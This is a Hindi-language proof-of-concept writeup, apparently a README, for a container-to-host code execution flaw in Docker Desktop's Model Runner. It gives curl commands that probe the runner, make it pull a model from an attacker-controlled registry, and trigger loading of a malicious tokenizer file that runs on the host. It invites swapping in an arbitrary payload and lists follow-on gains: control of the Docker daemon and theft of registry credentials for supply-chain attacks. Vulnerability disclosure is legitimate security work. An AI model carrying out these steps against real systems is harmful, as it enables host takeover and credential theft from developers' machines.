
Docker Model Runner कंटेनर-से-होस्ट RCE / Escape: एक गंभीर भेद्यता जो Docker Model Runner MLX / SGLANG / VLLM inference backend में कंटेनर-से-होस्ट कोड निष्पादन की अनुमति देती है।
Docker Desktop (4.40.0 से 4.67.x) होस्ट पर कोई भी कंटेनर केवल दो HTTP अनुरोधों से होस्ट पर कोड चला सकता है। कोई socket mount नहीं, कोई --privileged नहीं, कोई caps नहीं।
हर कंटेनर बिना किसी प्रमाणीकरण के model-runner.docker.internal पर Model Runner तक पहुँच सकता है। यह आपके द्वारा इंगित किसी भी OCI registry से मॉडल खींचता है और उन्हें digest सत्यापित किए बिना संग्रहीत करता है। Python बैकएंड (vLLM, MLX, SGLang) मॉडल को trust_remote_code=True के साथ लोड करते हैं (या MLX के मामले में अपने config input में trust remote code को स्वीकार भी नहीं करते), जो tokenizer_config.json में मॉडल द्वारा संदर्भित किसी भी .py फ़ाइल को import करता है। वह .py डेस्कटॉप उपयोगकर्ता के रूप में चलता है।
प्रारंभिक स्थिति: हमलावर के पास होस्ट पर किसी भी कंटेनर के अंदर कोड निष्पादन है। शत्रुतापूर्ण base image, dev workspace में दुर्भावनापूर्ण npm/pip इंस्टॉल, attacker-नियंत्रित कोड उठाने वाला CI runner, आदि। कोई Docker socket mount नहीं, कोई --privileged नहीं, कोई अतिरिक्त caps नहीं।
Model Runner को जांचें।
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 का अर्थ है कि Model Runner चालू है और इस कंटेनर से पहुँच योग्य है। कोई प्रमाणीकरण नहीं, कोई Origin header आवश्यक नहीं।
एक दुर्भावनापूर्ण OCI registry खड़ा करें। OCI distribution spec बोलने वाला कोई भी HTTP server काम करता है। Registry होस्ट से पहुँच योग्य होनी चाहिए (Model Runner होस्ट पर चलता है, कंटेनर में नहीं)। इसे या तो सार्वजनिक इंटरनेट पर होस्ट करें, या स्थानीय रूप से चलाकर एक पोर्ट प्रकाशित करें (docker-compose.yml इस PoC के लिए बाद वाला करता है)। यह एक न्यूनतम मान्य Llama मॉडल परोसता है जिसके tokenizer_config.json में evil_tokenizer.py की ओर इशारा करने वाला auto_map है। evil_tokenizer.py होस्ट पेलोड है। rce_registry.py देखें।
Model Runner को अपनी registry से pull करवाएँ।
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner manifest डाउनलोड करता है, फिर हर blob, और उन्हें अपने on-disk store में लिखता है। कोई digest पुनर्गणना या तुलना नहीं होती, कोई हस्ताक्षर जाँच नहीं होती। दुर्भावनापूर्ण मॉडल अब इंस्टॉल हो चुका है।
rce_registry.py:45-105 की पंक्तियों को मनमाने पेलोड से बदलें।
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
प्रमाण /tmp/poc_rce_proof पर पहुँचता है।
rce_registry.py - नकली OCI registry, एक न्यूनतम Llama मॉडल के साथ evil_tokenizer.py परोसता हैtest_claims.py - स्रोत और चल रहे सिस्टम के विरुद्ध प्रत्येक दावे की जाँच करता हैrun_poc.sh - रैपरdocker-compose.yml - registry + unprivileged attacker कंटेनरDockerfile.registry, Dockerfile.attacker - imagesमॉडल लोड होने के लिए inference ट्रिगर करें।
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner एक Python बैकएंड (vLLM, MLX, या SGLang) चुनता है और उसे संग्रहीत मॉडल की ओर इशारा करते --model <bundle_dir> के साथ स्पॉन करता है। बैकएंड AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True) कॉल करता है। Transformers tokenizer_config.json पढ़ता है, auto_map देखता है, और bundle dir से evil_tokenizer.py import करता है। Module-level कोड import के समय चलता है।
पेलोड होस्ट पर चलता है। यह Docker Desktop उपयोगकर्ता के रूप में, किसी भी कंटेनर के बाहर, उपयोगकर्ता की पूर्ण फाइलसिस्टम और नेटवर्क पहुँच के साथ चलता है। Inference स्वयं आमतौर पर विफल हो जाता है (मॉडल वास्तव में चलने के लिए बहुत छोटा है) लेकिन इससे कोई फर्क नहीं पड़ता, import पहले हो चुका है।
इससे हमलावर को क्या प्राप्त होता है।
/var/run/docker.sock पहुँच योग्य है। Daemon नियंत्रण: privileged कंटेनर बनाएं, उनमें से एक में होस्ट fs माउंट करें, अन्य कंटेनरों में exec करें, आदि।~/.docker/config.json में उपयोगकर्ता द्वारा लॉग इन की गई हर registry के क्रेडेंशियल होते हैं। Supply chain pivot: दुर्भावनापूर्ण images को upstream पर push करें।